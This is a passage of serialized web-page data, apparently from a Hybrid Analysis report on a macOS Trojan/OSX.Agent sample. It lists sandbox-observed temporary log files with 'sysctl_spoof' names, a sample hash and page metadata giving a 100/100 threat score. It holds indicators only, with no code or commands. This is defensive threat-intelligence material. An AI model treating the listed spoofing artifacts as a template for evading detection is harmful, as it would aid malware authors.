b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1065.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1366.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1335.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1122.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1191.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1181.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6ab60b88ba2f940eed0b1a13","68aa0d62220c154685014547"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan/OSX.Agent Sample adde2970b406… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample adde2970b406…. Malware family: Trojan/OSX.Agent. Threat score 100/100. 11/24 AV engines flagged this file. 3 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan/OSX.Agent Sample adde2970b406… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample adde2970b406…. Malware family: Trojan/OSX.Agent. Threat score 100/100. 11/24 AV engines flagged this file. 3 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan/OSX.Agent Sample adde2970b406… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample adde2970b406…. Malware family: Trojan/OSX.Agent. Threat score 100/100. 11/24 AV engines flagged this file. 3 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2d","11",{}]]